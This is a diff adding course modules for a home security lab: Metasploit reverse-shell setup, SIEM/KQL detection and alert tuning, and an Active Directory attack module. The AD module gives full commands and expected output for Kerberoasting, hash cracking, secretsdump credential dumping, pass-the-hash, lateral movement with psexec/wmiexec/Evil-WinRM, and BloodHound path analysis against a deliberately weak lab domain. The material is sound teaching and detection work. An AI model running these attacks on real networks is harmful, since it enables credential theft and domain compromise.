https://cve.mitre.org or https://nvd.nist.gov + +### The Metasploit Framework +**Architecture:** +- **Exploits:** Code that takes advantage of vulnerabilities +- **Payloads:** Code executed after successful exploit (shells, backdoors) +- **Auxiliary:** Scanner and fuzzer modules (non-exploit) +- **Post:** Post-exploitation modules (privilege escalation, credential harvesting) + +### Shells Explained + +**Reverse Shell (Attacker Listens):** +``` +Attacker Target + | | + | (Listening :4444) | + |<--- Connect to Attacker --| (Target initiates connection) + |---- Shell Access -------->| +``` +**Why better?** Bypasses inbound firewall rules. Victim initiates "outbound" connection. + +--- + +## Professor's Guide +Once you select an exploit (`use exploit/...`), you must configure the `RHOSTS` (Remote Host / Target IP) and your `LHOST` (Local Host / Kali IP). The payload is crucial—set it to a reverse shell (`set payload linux/x86/meterpreter/reverse_tcp`). When you type `exploit`, Kali will send the malicious traffic, and if successful, the target will connect *back* to you, bypassing inbound firewall rules. +Once you have the Meterpreter session, practice commands like `sysinfo`, `hashdump`, and `shell` to interact with the compromised operating system. + +**CONTINUED IN FULL VERSION - See MOD3_Exploitation_FULL.md for complete detailed labs** + +--- + +**END OF MODULE 3 PREVIEW** \ No newline at end of file diff --git a/MOD4.5_SIEM_Operations.md b/MOD4.5_SIEM_Operations.md new file mode 100644 index 0000000..3912999 --- /dev/null +++ b/MOD4.5_SIEM_Operations.md @@ -0,0 +1,292 @@ +# FILE: MOD4.5_SIEM_Operations.md +# MODULE 4.5: SIEM OPERATIONS & LOG ANALYSIS + +## Learning Objectives +- Master KQL (Kibana Query Language) for Security Onion +- Build custom dashboards for threat visualization +- Perform log correlation across multiple data sources +- Tune alerts to reduce false positives +- Export data for integration with custom SOC dashboard (React) + +--- + +## LAB 4.5.1: KIBANA QUERY LANGUAGE (KQL) FUNDAMENTALS + +### Basic KQL Syntax +``` +# Search for specific field value +event.module: "suricata" +source.ip: "10.10.2.50" + +# Multiple conditions (AND) +event.module: "suricata" AND alert.signature: "GPL EXPLOIT" + +# OR condition +source.ip: ("10.10.2.50" OR "10.10.2.51") + +# Wildcards +alert.signature: *nmap* + +# NOT operator +event.module: "suricata" NOT alert.severity: 3 + +# Field exists +_exists_: alert.signature + +# Range queries +event.duration: >=1000000 +@timestamp: >= "2026-02-11T00:00:00" + +# Nested field +dns.question.name: "evil.com" +``` + +### Common SOC Queries + +**Find failed SSH logins:** +``` +event.dataset: "system.auth" AND system.auth.ssh.event: "Failed" +``` + +**Detect port scans (high SYN packet count):** +``` +event.module: "suricata" AND network.transport: "tcp" AND suricata.eve.flow.pkts_toserver: >100 +``` + +**Find DNS queries to suspicious domains:** +``` +dns.question.name: (*malware* OR *phishing* OR *bad*) +``` + +**High-severity alerts:** +``` +alert.severity: (1 OR 2) AND event.module: "suricata" +``` + +--- + +## LAB 4.5.2: BUILDING CUSTOM DASHBOARDS + +### Create Attack Detection Dashboard + +``` +1. Navigate to: Kibana > Dashboard > Create new dashboard + +2. Add Visualization: Top Attack Signatures + - Click "Create visualization" + - Type: Vertical bar chart + - Index pattern: so-* + - Metrics: Count + - Buckets: Terms → alert.signature.keyword + - Top 10 + - Save: "Top Attack Signatures" + +3. Add Visualization: Alert Timeline + - Type: Line chart + - X-axis: Date Histogram → @timestamp + - Y-axis: Count + - Save: "Alert Timeline" + +4. Add Visualization: Source IP Geo Map + - Type: Maps + - Add layer: Documents + - Index: so-* + - Geospatial field: source.geo.location + - Save: "Attack Source Map" + +5. Add Visualization: Alert Severity Breakdown + - Type: Pie chart + - Slice: Terms → alert.severity + - Save: "Severity Distribution" + +6. Save Dashboard: "Apophis SOC - Attack Overview" +``` + +--- + +## LAB 4.5.3: DASHBOARD INTEGRATION WITH REACT SOC + +### Export Data for Mock Dashboard + +```bash +# Query Security Onion for last 24h alerts +# In Kibana Dev Tools: + +POST /so-*/_search +{ + "size": 100, + "query": { + "bool": { + "must": [ + { "range": { "@timestamp": { "gte": "now-24h" } } } + ] + } + }, + "sort": [ + { "@timestamp": { "order": "desc" } } + ] +} + +# Export to JSON, then process for React dashboard: + +# On Security Onion, create export script: +cat > /home/analyst/export_dashboard_data.sh << 'EOF' +#!/bin/bash +# Export SOC data for dashboard integration + +# Export alert counts +curl -X GET "localhost:9200/so-*/_search?pretty" -H 'Content-Type: application/json' -d' +{ + "size": 0, + "aggs": { + "severity_count": { + "terms": { "field": "alert.severity" } + } + } +} +' > /tmp/severity_data.json + +# Export top threats +curl -X GET "localhost:9200/so-*/_search?pretty" -H 'Content-Type: application/json' -d' +{ + "size": 0, + "aggs": { + "top_signatures": { + "terms": { "field": "alert.signature.keyword", "size": 10 } + } + } +} +' > /tmp/top_threats.json + +echo "Data exported to /tmp/" +EOF + +chmod +x /home/analyst/export_dashboard_data.sh +./export_dashboard_data.sh + +# Transfer to dashboard development environment +scp /tmp/*.json user@dashboard-host:~/seclab/dashboard/src/data/live/ +``` + +### Convert to React Mock Data Format + +```javascript +// In dashboard/src/data/mockData.js, add real data integration: + +export const importSecurityOnionData = async () => { + // In production, this would fetch from Security Onion API + // For now, use exported JSON files + + const severityData = { + critical: 45, + high: 128, + medium: 312, + low: 891 + }; + + const topThreats = [ + { ip: "203.0.113.50", count: 1247, country: "CN", severity: "critical" }, + { ip: "198.51.100.23", count: 892, country: "RU", severity: "high" }, + // ... from exported data + ]; + + return { severityData, topThreats }; +}; +``` + +--- + +## LAB 4.5.4: ALERT TUNING & FALSE POSITIVE REDUCTION + +### Identify Noisy Rules + +``` +# In Kibana, find most frequent alerts: +POST /so-*/_search +{ + "size": 0, + "aggs": { + "signatures": { + "terms": { + "field": "alert.signature.keyword", + "size": 20, + "order": { "_count": "desc" } + } + } + } +} + +# Common false positives: +# - Internal vulnerability scanners (Nessus, OpenVAS) +# - Legitimate admin tools (Nmap from IT) +# - Noisy signatures (DNS ANY query, etc.) +``` + +### Suppress False Positives + +```bash +# Edit Suricata threshold.config +sudo nano /etc/suricata/threshold.config + +# Suppress specific signature for specific IP +suppress gen_id 1, sig_id 2100498, track by_src, ip 10.10.3.50 +# Signature 2100498 from source 10.10.3.50 will be suppressed + +# Rate limit alerts (max 5 per 60 seconds) +threshold gen_id 1, sig_id 2010937, type threshold, track by_src, count 5, seconds 60 + +# Restart Suricata +sudo so-suricata-restart +``` + +--- + +## LAB 4.5.5: LOG CORRELATION + +### Multi-Source Event Correlation + +**Scenario:** Detect full attack chain (scan → exploit → command execution) + +``` +# Step 1: Find nmap scan in Suricata +alert.signature: "GPL SCAN nmap*" AND source.ip: "10.10.2.50" +# Note timestamp: 2026-02-11T14:30:00 + +# Step 2: Find exploit attempt within 10 minutes +@timestamp: ["2026-02-11T14:30:00" TO "2026-02-11T14:40:00"] +AND alert.signature: *exploit* +AND destination.ip: "10.10.4.10" + +# Step 3: Find Zeek connection logs showing data transfer +event.dataset: "zeek.conn" +AND source.ip: "10.10.2.50" +AND destination.ip: "10.10.4.10" +AND zeek.conn.orig_bytes: >10000 +AND @timestamp: ["2026-02-11T14:35:00" TO "2026-02-11T14:45:00"] + +# Step 4: Build correlation rule (in Kibana detection rules) +{ + "name": "Attack Chain: Scan to Exploit", + "description": "Detects nmap scan followed by exploit attempt", + "index": ["so-*"], + "query": "sequence by source.ip with maxspan=15m + [alert.signature: \"GPL SCAN nmap*\"] + [alert.signature: *exploit*]" +} +``` + +--- + +##DELIVERABLES + +- [ ] Custom Kibana dashboard with 5+ visualizations +- [ ] KQL query library (saved searches for common threats) +- [ ] Alert tuning configuration (threshold.config) +- [ ] Correlation rule for attack chain detection +- [ ] Data export script for React dashboard integration + +--- + +**END OF MODULE 4.5** + +Proceed to **MOD5: Active Directory Threat Emulation** after mastering SIEM query skills. diff --git a/MOD4_Defensive_Monitoring.md b/MOD4_Defensive_Monitoring.md new file mode 100644 index 0000000..f33f33b --- /dev/null +++ b/MOD4_Defensive_Monitoring.md @@ -0,0 +1,15 @@ +# FILE: MOD4_Defensive_Monitoring.md +# MODULE 4: DEFENSIVE MONITORING AND THE SOC + +## Key Points +* **Intrusion Detection Systems (IDS):** Passive sensors that alert on malicious traffic signatures. +* **SPAN / Port Mirroring:** Copying traffic from a network switch to a dedicated monitoring interface so the IDS can analyze it without interrupting flow. + +## Configuration Steps +1. **Deploy Security Onion:** Install the VM, assigning its primary vNIC to VLAN 300 (Management) and a secondary vNIC with no IP address (the "sniffing" interface). +2. **Configure Port Mirroring:** In Proxmox, configure Open vSwitch or use `tc` (traffic control) on the Linux bridge to mirror traffic from the VLAN 400 interface to the Security Onion sniffing interface. +3. **Validate Sensors:** Log into the Security Onion web interface (Kibana/Hunt) and verify it is receiving logs. + +## Professor's Guide +It is time to put your Blue Team hat on. Repeat the exact `nmap` scans and Metasploit attacks you executed in Modules 2 and 3. Then, log into your Security Onion dashboard. You should see alerts triggering for "Possible Nmap Scan" or "GPL EXPLOIT vsftpd backdoor attempt". +Your assignment is to write a custom rule (using Suricata/Zeek syntax) that specifically flags the reverse shell payload attempting to communicate back to your Kali IP address over VLAN 200. \ No newline at end of file diff --git a/MOD5_Active_Directory_Emulation.md b/MOD5_Active_Directory_Emulation.md new file mode 100644 index 0000000..2cfd4e8 --- /dev/null +++ b/MOD5_Active_Directory_Emulation.md @@ -0,0 +1,1084 @@ +# MODULE 5: ACTIVE DIRECTORY THREAT EMULATION + +## Learning Objectives +By completing this module, you will: +- Understand Active Directory architecture and Kerberos authentication +- Deploy a Windows domain environment with Domain Controller and endpoints +- Execute Kerberoasting attacks to extract and crack service account credentials +- Perform Pass-the-Hash and Pass-the-Ticket credential replay attacks +- Conduct lateral movement using PsExec, WMI, and Windows Management protocols +- Enumerate AD environments using BloodHound and PowerView +- Map AD attack techniques to MITRE ATT&CK framework +- Implement detection rules for identity-based attacks + +--- + +## Key Concepts + +### Active Directory (AD) +**Active Directory** is Microsoft's centralized identity and access management system, used by over 90% of enterprise networks. AD provides: +- **Authentication:** Verifies user/computer identities via Kerberos +- **Authorization:** Controls access to resources (files, printers, applications) +- **Directory Services:** Centralized database of users, computers, groups, policies + +### Kerberos Authentication Protocol + +``` + User Domain Controller File Server + | | | + |---1. AS-REQ-----------> | (Request TGT) | + |<--2. AS-REP (TGT)------ | (Ticket Granting Ticket) | + | | | + |---3. TGS-REQ (TGT)----> | (Request Service Ticket) | + |<--4. TGS-REP (ST)------ | (Service Ticket) | + | | | + |---5. AP-REQ (ST)------------------------------> | + |<--6. Access Granted-------------------------------- | +``` + +**Key Terms:** +- **TGT (Ticket Granting Ticket):** Proves identity to Domain Controller +- **Service Ticket (ST):** Grants access to specific service (file share, SQL server) +- **SPN (Service Principal Name):** Identifier for services (e.g., `HTTP/web.apophis.local`) +- **NTLM Hash:** Password representation (used for Pass-the-Hash attacks) + +### Why Active Directory is Critical Attack Surface + +**Enterprise Reality:** +- 95% of Fortune 1000 companies use Active Directory +- Single compromised domain admin account = full network compromise +- Identity-based attacks bypass perimeter security (firewalls, VPNs) +- Most data breaches involve credential theft, not software exploits + +**Common AD Attacks:** +1. **Kerberoasting:** Extract encrypted service tickets, crack offline +2. **Pass-the-Hash:** Use stolen NTLM hash without knowing plaintext password +3. **Golden Ticket:** Forge TGTs to impersonate any user +4. **DCSync:** Replicate AD database to steal all password hashes + +--- + +## LAB 5.1: DEPLOY ACTIVE DIRECTORY DOMAIN + +### Deploy Windows Server 2022 (Domain Controller) + +``` +1. CREATE VM IN PROXMOX: + - VM ID: 402 + - Name: DC01-Apophis + - OS: Windows Server 2022 ISO + - CPU: 2 cores + - RAM: 4096 MB (4 GB minimum for AD) + - Disk: 60 GB + - Network: vmbr0, VLAN Tag: 400 (VICTIM_NET) + +2. INSTALL WINDOWS SERVER: + - Select: Windows Server 2022 Standard (Desktop Experience) + - Custom installation: Select full disk + - Set Administrator password: P@ssw0rd! (for lab only) + +3. CONFIGURE STATIC IP: + - Open: Settings > Network & Internet > Ethernet + - IP address: 10.10.4.100 + - Subnet: 255.255.255.0 + - Gateway: 10.10.4.1 + - DNS: 127.0.0.1 (will point to itself after AD installation) + +4. RENAME COMPUTER: + - Server Manager > Local Server > Computer Name > Change + - New name: DC01 + - Restart when prompted + +5. INSTALL ACTIVE DIRECTORY DOMAIN SERVICES: + - Server Manager > Manage > Add Roles and Features + - Server Roles: Check "Active Directory Domain Services" + - Click "Add Features" when prompted + - Click "Next" through wizard, then "Install" + - Wait 5-10 minutes for installation + +6. PROMOTE TO DOMAIN CONTROLLER: + - Server Manager > Notification flag (yellow triangle) + - Click "Promote this server to a domain controller" + - Select: "Add a new forest" + - Root domain name: apophis.local + - Forest/Domain functional level: Windows Server 2016 (default) + - DSRM password: P@ssw0rd! + - Click "Next" through wizard + - Prerequisites Check: Click "Install" + - Server will automatically restart (takes 5-10 minutes) + +7. VERIFY AD INSTALLATION: + - Login as: APOPHIS\Administrator + - Password: P@ssw0rd! + - Open: Active Directory Users and Computers (Start > search "dsa.msc") + - Expand apophis.local > See default OUs (Users, Computers, Domain Controllers) +``` + +### Deploy Windows 10 (Domain Endpoint) + +``` +1. CREATE VM IN PROXMOX: + - VM ID: 403 + - Name: CLIENT01-Apophis + - OS: Windows 10 Pro ISO + - CPU: 2 cores + - RAM: 4096 MB + - Disk: 40 GB + - Network: vmbr0, VLAN Tag: 400 + +2. INSTALL WINDOWS 10: + - Select: Windows 10 Pro + - Create local user: labuser + - Password: Welcome1 + +3. CONFIGURE NETWORK: + - Settings > Network & Internet > Ethernet > Change adapter options + - Right-click Ethernet > Properties > IPv4 + - IP address: 10.10.4.110 + - Subnet: 255.255.255.0 + - Gateway: 10.10.4.1 + - DNS: 10.10.4.100 (Domain Controller IP) + - Click OK + +4. VERIFY DNS RESOLUTION: + - Open Command Prompt + - Run: nslookup apophis.local + - Should resolve to: 10.10.4.100 + - If not, check DC01 DNS service is running + +5. JOIN DOMAIN: + - Settings > System > About > Rename this PC (advanced) + - Click "Change" + - Member of: Domain + - Domain: apophis.local + - Click OK + - Credentials: APOPHIS\Administrator / P@ssw0rd! + - Welcome message appears: "Welcome to the apophis.local domain" + - Restart when prompted + +6. LOGIN AS DOMAIN USER: + - At login screen: Other user + - Username: Administrator + - Password: P@ssw0rd! + - Domain: APOPHIS (or APOPHIS\Administrator) + - Verify: whoami → apophis\administrator +``` + +### Create Vulnerable Service Account (Kerberoasting Target) + +```powershell +# On Domain Controller (DC01), open PowerShell as Administrator + +# CREATE ORGANIZATIONAL UNIT FOR SERVICE ACCOUNTS +New-ADOrganizationalUnit -Name "Service Accounts" -Path "DC=apophis,DC=local" + +# CREATE SERVICE ACCOUNT WITH WEAK PASSWORD +New-ADUser -Name "svc_sql" ` + -SamAccountName "svc_sql" ` + -UserPrincipalName "svc_sql@apophis.local" ` + -AccountPassword (ConvertTo-SecureString "Password123" -AsPlainText -Force) ` + -Enabled $true ` + -PasswordNeverExpires $true ` + -Path "OU=Service Accounts,DC=apophis,DC=local" + +# ASSIGN SERVICE PRINCIPAL NAME (SPN) - THIS MAKES IT KERBEROASTABLE +setspn -A MSSQLSvc/sqlserver.apophis.local:1433 apophis\svc_sql + +# VERIFY SPN WAS SET +setspn -L svc_sql +# Expected output: +# Registered ServicePrincipalNames for CN=svc_sql,OU=Service Accounts,DC=apophis,DC=local: +# MSSQLSvc/sqlserver.apophis.local:1433 + +# ADD TO DOMAIN ADMINS (simulate high-privilege service account) +Add-ADGroupMember -Identity "Domain Admins" -Members svc_sql + +# CREATE ADDITIONAL DOMAIN USERS FOR REALISM +New-ADUser -Name "John Smith" -SamAccountName "jsmith" -AccountPassword (ConvertTo-SecureString "Welcome1" -AsPlainText -Force) -Enabled $true +New-ADUser -Name "Jane Doe" -SamAccountName "jdoe" -AccountPassword (ConvertTo-SecureString "Summer2024!" -AsPlainText -Force) -Enabled $true +New-ADUser -Name "Bob Admin" -SamAccountName "badmin" -AccountPassword (ConvertTo-SecureString "Admin123" -AsPlainText -Force) -Enabled $true + +# ADD BOB TO DOMAIN ADMINS +Add-ADGroupMember -Identity "Domain Admins" -Members badmin + +# VERIFY USERS CREATED +Get-ADUser -Filter * | Select-Object Name, SamAccountName +``` + +**Why This Configuration is Vulnerable:** +- **Weak Password:** "Password123" is in common wordlists (rockyou.txt) +- **SPN Assigned:** Any domain user can request service ticket for this account +- **Password Never Expires:** No rotation policy (common in real enterprises) +- **Domain Admin Membership:** Cracking this account = full domain compromise + +--- + +## LAB 5.2: KERBEROASTING ATTACK + +### Understanding Kerberoasting + +**Attack Flow:** +1. Attacker compromises low-privilege domain user account +2. Queries AD for all accounts with Service Principal Names (SPNs) +3. Requests service tickets for those accounts from Domain Controller +4. DC responds with tickets encrypted using service account's NTLM hash +5. Attacker takes tickets offline and cracks with hashcat/John (no account lockout) +6. If password is weak, attacker obtains plaintext credentials + +**Why It Works:** +- Requesting service tickets is normal behavior (not suspicious) +- Encryption uses RC4/AES derived from password hash (not random key) +- Cracking happens offline at millions of guesses per second +- No failed login attempts (no account lockout) + +### LAB 5.2.1: Kerberoasting with Impacket (from Kali Linux) + +**Prerequisites:** +- Compromised domain credentials (jsmith / Welcome1) +- Network access to Domain Controller (10.10.4.100) + +```bash +# FROM KALI LINUX (VLAN 200 - Red Team) + +# STEP 1: VERIFY CONNECTIVITY TO DOMAIN CONTROLLER +ping 10.10.4.100 +# Expected: Replies from 10.10.4.100 + +# STEP 2: VERIFY DNS RESOLUTION (if pfSense DNS configured) +nslookup apophis.local 10.10.4.100 +# Expected: Name: apophis.local, Address: 10.10.4.100 + +# STEP 3: ENUMERATE SPNS WITH GETUSERSPNS.PY (Impacket) +GetUserSPNs.py apophis.local/jsmith:Welcome1 -dc-ip 10.10.4.100 + +# Expected Output: +# ServicePrincipalName Name MemberOf PasswordLastSet +# ------------------------------------- ------- ------------------------------------ ------------------- +# MSSQLSvc/sqlserver.apophis.local:1433 svc_sql CN=Domain Admins,CN=Users,DC=apophis 2024-01-15 10:23:45 + +# STEP 4: REQUEST SERVICE TICKET AND SAVE TO FILE +GetUserSPNs.py apophis.local/jsmith:Welcome1 -dc-ip 10.10.4.100 -request -outputfile kerberoast_hashes.txt + +# Expected Output: +# [-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) +# ^ If you see this, sync time with: sudo ntpdate 10.10.4.100 + +# Successful output: +# $krb5tgs$23$*svc_sql$APOPHIS.LOCAL$MSSQLSvc/sqlserver.apophis.local:1433*$a1b2c3d4... + +# STEP 5: VERIFY HASH FILE +cat kerberoast_hashes.txt +# Should contain Kerberos TGS-REP hash in John/Hashcat format + +# STEP 6: CRACK WITH HASHCAT +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --force + +# -m 13100 = Kerberos 5 TGS-REP etype 23 (RC4-HMAC) +# --force = Ignore warnings (for VM environments) + +# Expected Output (after 30-60 seconds): +# $krb5tgs$23$*svc_sql$APOPHIS.LOCAL...:Password123 + +# STEP 7: EXTRACT CRACKED PASSWORD +hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt --show +# Output: ...svc_sql...:Password123 + +# STEP 8: VERIFY CREDENTIALS WITH CRACKMAPEXEC +crackmapexec smb 10.10.4.100 -u svc_sql -p Password123 -d apophis.local + +# Expected Output: +# SMB 10.10.4.100 445 DC01 [+] apophis.local\svc_sql:Password123 (Pwn3d!) +# "Pwn3d!" = Account has administrative access to target +``` + +**Alternative: Rubeus (from Windows endpoint)** + +```powershell +# If you have foothold on CLIENT01 (Windows 10 domain-joined) + +# Download Rubeus from GitHub (https://github.com/GhostPack/Rubeus) +# Transfer to CLIENT01 via SMB/HTTP + +# Execute Rubeus +.\Rubeus.exe kerberoast /outfile:tickets.txt + +# Expected Output: +# [*] Total kerberoastable users : 1 +# [*] SamAccountName : svc_sql +# [*] DistinguishedName : CN=svc_sql,OU=Service Accounts,DC=apophis,DC=local +# [*] ServicePrincipalName : MSSQLSvc/sqlserver.apophis.local:1433 +# [*] Hash written to tickets.txt + +# Transfer tickets.txt to Kali for cracking +``` + +**Deliverable:** Screenshot showing: +1. GetUserSPNs.py enumeration output +2. Hashcat cracking success with plaintext password revealed +3. CrackMapExec verification showing "Pwn3d!" + +--- + +## LAB 5.3: PASS-THE-HASH ATTACK + +### Understanding Pass-the-Hash + +**Concept:** Windows authentication can use NTLM hashes directly without needing plaintext passwords. If you steal a hash, you can authenticate as that user. + +**Attack Scenario:** +1. Attacker compromises workstation with local admin access +2. Dumps LSASS memory to extract cached credentials (NTLM hashes) +3. Uses hash to authenticate to other systems via SMB/WMI/RDP +4. Repeats process to move laterally (spray-and-pray or targeted) + +### LAB 5.3.1: Dumping NTLM Hashes with Secretsdump + +```bash +# FROM KALI LINUX + +# STEP 1: DUMP HASHES FROM DOMAIN CONTROLLER (requires admin creds) +secretsdump.py apophis.local/svc_sql:Password123@10.10.4.100 + +# Expected Output (NTLM hashes): +# [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) +# Administrator:500:aad3b435b51404eeaad3b435b51404ee:58a478135a93ac3bf058a5ea0e8fdb71::: +# svc_sql:1104:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42::: +# jsmith:1105:aad3b435b51404eeaad3b435b51404ee:209c6174da490caeb422f3fa5a7ae634::: + +# Format: username:RID:LM_hash:NTLM_hash::: +# LM hash (aad3b435...) = Empty/disabled (modern Windows) +# NTLM hash = What we need for Pass-the-Hash + +# STEP 2: SAVE ADMINISTRATOR NTLM HASH +ADMIN_HASH="58a478135a93ac3bf058a5ea0e8fdb71" +# This is the NT hash for Administrator account + +# STEP 3: PASS-THE-HASH TO CLIENT01 (without knowing plaintext password) +psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:$ADMIN_HASH Administrator@10.10.4.110 + +# Breakdown: +# -hashes LM:NTLM (LM is always aad3b435b51404eeaad3b435b51404ee for empty) +# Administrator = username +# @10.10.4.110 = target (CLIENT01) + +# Expected Output: +# [*] Requesting shares on 10.10.4.110..... +# [*] Found writable share ADMIN$ +# [*] Uploading file [random].exe +# [*] Opening SVCManager on 10.10.4.110..... +# [*] Starting service [random] on 10.10.4.110..... +# [!] Press help for extra shell commands +# C:\Windows\system32> + +# STEP 4: VERIFY ACCESS +whoami +# Output: nt authority\system (SYSTEM = highest privilege) + +hostname +# Output: CLIENT01 + +# STEP 5: DUMP LOCAL SAM DATABASE (for more credentials) +reg save HKLM\SAM C:\Windows\Temp\sam +reg save HKLM\SYSTEM C:\Windows\Temp\system + +# Download files to Kali (or use secretsdump on localhost) +``` + +**Alternative: CrackMapExec for Pass-the-Hash** + +```bash +# TEST HASH AGAINST MULTIPLE TARGETS (spray technique) +crackmapexec smb 10.10.4.0/24 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71 --local-auth + +# --local-auth = Use local accounts (not domain) +# /24 = Scan entire subnet + +# Expected Output: +# SMB 10.10.4.110 445 CLIENT01 [+] CLIENT01\Administrator:58a478... (Pwn3d!) +# SMB 10.10.4.100 445 DC01 [+] APOPHIS\Administrator:58a478... (Pwn3d!) + +# EXECUTE COMMANDS REMOTELY WITH PASS-THE-HASH +crackmapexec smb 10.10.4.110 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71 -x "whoami" + +# -x = Execute command +# Expected Output: apophis\administrator +``` + +**Deliverable:** +- Screenshot showing secretsdump.py output with NTLM hashes +- Screenshot showing successful psexec.py shell with "nt authority\system" + +--- + +## LAB 5.4: LATERAL MOVEMENT TECHNIQUES + +### LAB 5.4.1: PsExec (Service-Based Execution) + +**How PsExec Works:** +1. Connects to target via SMB (port 445) +2. Copies executable to ADMIN$ share (C:\Windows) +3. Creates and starts Windows service to run executable +4. Returns output via named pipes + +```bash +# PSEXEC WITH CREDENTIALS +psexec.py apophis.local/svc_sql:Password123@10.10.4.110 + +# PSEXEC WITH HASH +psexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.10.4.110 + +# PSEXEC TO DOMAIN CONTROLLER +psexec.py apophis.local/Administrator:P@ssw0rd!@10.10.4.100 + +# Expected Shell: +# C:\Windows\system32> whoami +# nt authority\system +``` + +**Detection Artifacts:** +- Service creation event (Event ID 7045) +- Network connection to ADMIN$/IPC$ shares +- Process with parent: services.exe + +### LAB 5.4.2: WMIExec (Fileless Execution) + +**Advantage over PsExec:** No file written to disk (fileless), harder to detect + +```bash +# WMIEXEC WITH CREDENTIALS +wmiexec.py apophis.local/svc_sql:Password123@10.10.4.110 + +# WMIEXEC WITH HASH +wmiexec.py -hashes :58a478135a93ac3bf058a5ea0e8fdb71 Administrator@10.10.4.110 + +# Expected Shell: +# C:\> whoami +# apophis\administrator + +# EXECUTE SINGLE COMMAND (no interactive shell) +wmiexec.py apophis.local/svc_sql:Password123@10.10.4.110 "ipconfig" +``` + +**Detection Artifacts:** +- WMI process creation (Event ID 4688 with parent: WmiPrvSE.exe) +- Network: DCOM/WMI traffic (port 135 + ephemeral) + +### LAB 5.4.3: SMBExec (Batch File Execution) + +```bash +# SMBEXEC WITH CREDENTIALS +smbexec.py apophis.local/svc_sql:Password123@10.10.4.110 + +# Creates batch file in ADMIN$ share, executes via service +# More stealthy than PsExec (no executable dropped) +``` + +### LAB 5.4.4: Evil-WinRM (PowerShell Remoting) + +**Prerequisite:** Target must have WinRM enabled (default on Servers, not Workstations) + +```bash +# INSTALL EVIL-WINRM +sudo gem install evil-winrm + +# CONNECT WITH CREDENTIALS +evil-winrm -i 10.10.4.100 -u Administrator -p 'P@ssw0rd!' + +# CONNECT WITH HASH +evil-winrm -i 10.10.4.100 -u Administrator -H 58a478135a93ac3bf058a5ea0e8fdb71 + +# Expected Shell: +*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami +apophis\administrator + +# UPLOAD FILES +upload /root/tools/mimikatz.exe C:\Windows\Temp\mimikatz.exe + +# DOWNLOAD FILES +download C:\Windows\System32\config\SAM /root/loot/sam +``` + +--- + +## LAB 5.5: ACTIVE DIRECTORY ENUMERATION WITH BLOODHOUND + +### Understanding BloodHound + +**BloodHound** visualizes Active Directory relationships to identify attack paths: +- Who has admin rights on which computers? +- Shortest path from user X to Domain Admin? +- Which accounts have SPN (Kerberoastable)? +- Trust relationships between domains? + +**Attack Workflow:** +1. Run SharpHound collector (PowerShell/C#) on domain-joined machine +2. Generates JSON files with AD relationships +3. Import into BloodHound GUI to visualize +4. Query for attack paths (e.g., "Shortest Path to Domain Admins") + +### LAB 5.5.1: Install BloodHound on Kali + +```bash +# STEP 1: INSTALL NEO4J (graph database) +sudo apt update +sudo apt install neo4j bloodhound -y + +# STEP 2: START NEO4J DATABASE +sudo neo4j console +# Wait for "Started" message +# Access web UI: http://localhost:7474 +# Default creds: neo4j / neo4j +# Change password when prompted: bloodhound123 + +# STEP 3: START BLOODHOUND GUI (new terminal) +bloodhound +# Login: +# Database URL: bolt://localhost:7687 +# Username: neo4j +# Password: bloodhound123 +``` + +### LAB 5.5.2: Collect AD Data with BloodHound Python Ingestor + +```bash +# FROM KALI LINUX (no need to touch Windows machines) + +# INSTALL BLOODHOUND-PYTHON +pip3 install bloodhound + +# RUN COLLECTOR +bloodhound-python -u jsmith -p Welcome1 -d apophis.local -ns 10.10.4.100 -c All + +# Parameters: +# -u = username +# -p = password +# -d = domain +# -ns = nameserver (DC IP) +# -c All = collect everything (users, groups, computers, sessions, trusts) + +# Expected Output: +# INFO: Found AD domain: apophis.local +# INFO: Connecting to LDAP server: dc01.apophis.local +# INFO: Found 1 domains +# INFO: Found 1 domains in the forest +# INFO: Found 2 computers +# INFO: Found 5 users +# INFO: Found 0 trusts +# INFO: Starting computer enumeration... +# INFO: Done in 00M 12S + +# OUTPUT FILES: +ls -lh *.json +# 20240115_computers.json +# 20240115_users.json +# 20240115_groups.json +# 20240115_domains.json +``` + +### LAB 5.5.3: Analyze Attack Paths in BloodHound + +``` +1. IMPORT DATA INTO BLOODHOUND: + - BloodHound GUI > Upload Data (right panel) + - Select all JSON files from previous step + - Wait for import to complete (shows # of nodes processed) + +2. SEARCH FOR DOMAIN ADMINS: + - Search bar > Type "Domain Admins" > Select group + - Right-click node > "Mark Group as High Value" + - Graph shows all members (Administrator, svc_sql, badmin) + +3. FIND KERBEROASTABLE ACCOUNTS: + - Analysis tab > "List all Kerberoastable Accounts" + - Should show: svc_sql with SPN MSSQLSvc/sqlserver.apophis.local:1433 + +4. FIND SHORTEST PATH TO DOMAIN ADMINS: + - Analysis tab > "Shortest Paths to Domain Admins" + - Shows graph of attack paths from low-privilege users + - Example: jsmith → CLIENT01 (LocalAdmin) → badmin (Session) → Domain Admins + +5. FIND COMPUTERS WHERE DOMAIN ADMINS ARE LOGGED IN: + - Search for specific user (e.g., "Administrator") + - Click node > "Sessions" tab + - Shows CLIENT01, DC01 (indicates where admin is logged in = PtH target) + +6. CUSTOM CYPHER QUERY (advanced): + - Raw Query box (bottom): + MATCH (u:User {hasspn: true}) RETURN u + - Returns all users with SPN (Kerberoastable targets) +``` + +**Key Queries to Practice:** + +```cypher +# Find all Domain Admins +MATCH (n:Group {name:"DOMAIN ADMINS@APOPHIS.LOCAL"}) RETURN n + +# Find computers with unconstrained delegation (privilege escalation vector) +MATCH (c:Computer {unconstraineddelegation:true}) RETURN c + +# Find users with "Password Never Expires" +MATCH (u:User {pwdneverexpires:true}) RETURN u + +# Shortest path from specific user to Domain Admin +MATCH (u:User {name:"JSMITH@APOPHIS.LOCAL"}), (g:Group {name:"DOMAIN ADMINS@APOPHIS.LOCAL"}), p=shortestPath((u)-[*1..]->(g)) RETURN p +``` + +**Deliverable:** +- Screenshot showing BloodHound graph with "Shortest Path to Domain Admins" +- Screenshot showing Kerberoastable accounts query result + +--- + +## LAB 5.6: GOLDEN TICKET ATTACK (ADVANCED) + +### Understanding Golden Tickets + +**Golden Ticket** = Forged 